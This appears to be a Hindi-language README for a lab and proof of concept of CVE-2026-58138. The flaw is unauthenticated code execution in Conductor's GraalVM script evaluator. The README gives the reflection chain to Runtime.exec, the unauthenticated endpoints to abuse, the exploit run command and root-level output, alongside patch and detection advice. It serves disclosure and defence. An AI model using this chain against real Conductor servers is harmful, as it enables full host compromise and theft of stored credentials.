CVE-2026-58138 — Conductor (3.21.21..<3.30.2) INLINE GraalVM evaluator (HostAccess.ALL) के माध्यम से अप्रमाणित RCE. Lab + PoC, सत्यापित e2e (root).
Conductor (OSS / Orkes)
3.21.21…3.30.2से पहलेINLINE(औरLAMBDA/DO_WHILE/SWITCH) कार्यों में उपयोगकर्ता द्वारा आपूर्ति किए गए JavaScript का मूल्यांकन पूर्ण होस्ट एक्सेस (HostAccess.ALL) के साथ निर्मित GraalVM संदर्भ से करता है। स्क्रिप्टjava.lang.Runtimeतक रिफ्लेक्ट करती है और OS कमांड चलाती है। कम्युनिटी API में डिफ़ॉल्ट रूप से कोई प्रमाणीकरण नहीं है, इसलिए ऐसे कार्य के साथ वर्कफ़्लो सबमिट करना अनधिकृत रिमोट कोड निष्पादन है।
| CVE | CVE-2026-58138 |
| सलाह | vulncheck — GraalVM स्क्रिप्ट मूल्यांकनकर्ताओं के माध्यम से Orkes Conductor अनधिकृत RCE |
| प्रभावित | Conductor 3.21.21 … 3.30.2 से पहले |
| ठीक किया गया | 3.30.2 (कमिट 87a7d96, c691e35) |
| वर्ग | CWE-94 (कोड इंजेक्शन) — GraalVM पॉलीग्लॉट सैंडबॉक्स लागू नहीं किया गया |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| प्रमाणीकरण | कोई नहीं (कम्युनिटी API डिफ़ॉल्ट रूप से अप्रमाणित है) |
| स्थिति | पुष्टि — conductoross/conductor:3.22.3 के विरुद्ध रूट के रूप में पुनरुत्पादित |
संस्करण नोट (यह पढ़ें)। प्रभावित श्रेणी के भीतर मूल्यांकनकर्ता कॉन्फ़िगरेशन बदलता है: ~
3.29.xतक के संस्करण (यह प्रयोगशाला3.22.3का उपयोग करती है) सादेallowHostAccess(HostAccess.ALL)के साथ संदर्भ बनाते हैं — CVE द्वारा वर्णित और वह कॉन्फ़िगरेशन जिसका यह PoC सीधे शोषण करता है।3.30.0/3.30.1लाइन ने आंशिकdenyAccess(...)ब्लॉकलिस्ट जोड़ा (रिफ्लेक्शन अवरुद्ध); पूर्ण सुधार (allowHostClassLoading(false)+ इंजन सख्तीकरण) केवल3.30.2में आता है। यह PoC सादे-HostAccess.ALLकॉन्फ़िगरेशन को लक्षित करता है; यह3.30.1ब्लॉकलिस्ट को बायपास करने का दावा नहीं करता।
core/.../events/ScriptEvaluator.java (≤ 3.29.x / 3.22.3):
return Context.newBuilder("js")
.allowHostAccess(HostAccess.ALL) // full host interop -> no sandbox
.build();
HostAccess.ALL स्क्रिप्ट को Java होस्ट ऑब्जेक्ट्स पर किसी भी विधि/फ़ील्ड को कॉल करने देता है। INLINE कार्य अपने इनपुट को $ के रूप में बाँधता है, जो एक वास्तविक Java ऑब्जेक्ट है, इसलिए स्क्रिप्ट पिवट कर सकती है: $.getClass().getClass() → java.lang.Class → Class.forName("java.lang.Runtime") → Runtime.getRuntime().exec(...)। Python मूल्यांकनकर्ता समतुल्य है (Context.newBuilder("python").allowAllAccess(true))।
INLINE कार्य में दुर्भावनापूर्ण expression हो (POST /api/metadata/workflow, कोई प्रमाणीकरण नहीं)।POST /api/workflow/{name}, कोई प्रमाणीकरण नहीं)।Runtime.exec कमांड चलाता है और PoC इसके stdout को कार्य परिणाम के रूप में लौटाता है।docker compose -f lab/docker-compose.yml up -d # conductoross/conductor:3.22.3 (in range)
# wait ~60s for the all-in-one server to boot
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname"
देखा गया:
[*] registering workflow with a malicious INLINE (javascript) task ... (no auth)
[*] started workflow id=...; reading INLINE task output ...
[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+kali-amd64
uid=0(root) Conductor प्रक्रिया उपयोगकर्ता है; आउटपुट लाइव id/uname स्थिति है — वास्तविक निष्पादन, प्रतिध्वनि नहीं। exploit.py केवल Python मानक पुस्तकालय का उपयोग करता है।
कोई भी व्यक्ति जो Conductor API तक पहुँच सकता है, ऑर्केस्ट्रेटर होस्ट पर मनमाने OS कमांड (यहाँ रूट के रूप में) निष्पादित करता है — वर्कफ़्लो इंजन, इसकी दृढ़ता/कतारें, और इसके वर्कफ़्लो और संग्रहीत क्रेडेंशियल्स द्वारा छुआ जाने वाला प्रत्येक सिस्टम पूरी तरह से समझौता हो जाता है।
उन वर्कफ़्लो परिभाषाओं को चिह्नित करें जिनके INLINE/LAMBDA/DO_WHILE/SWITCH कार्यों में expression स्ट्रिंग्स हैं जो getClass, forName, Runtime, exec, ProcessBuilder, या java. रिफ्लेक्शन का संदर्भ देती हैं, और Conductor प्रक्रियाएँ शेल उत्पन्न कर रही हैं।
रिफ्लेक्शन चेन, संस्करणों में मूल्यांकनकर्ता कॉन्फ़िगरेशन और पैच के लिए ANALYSIS.md देखें।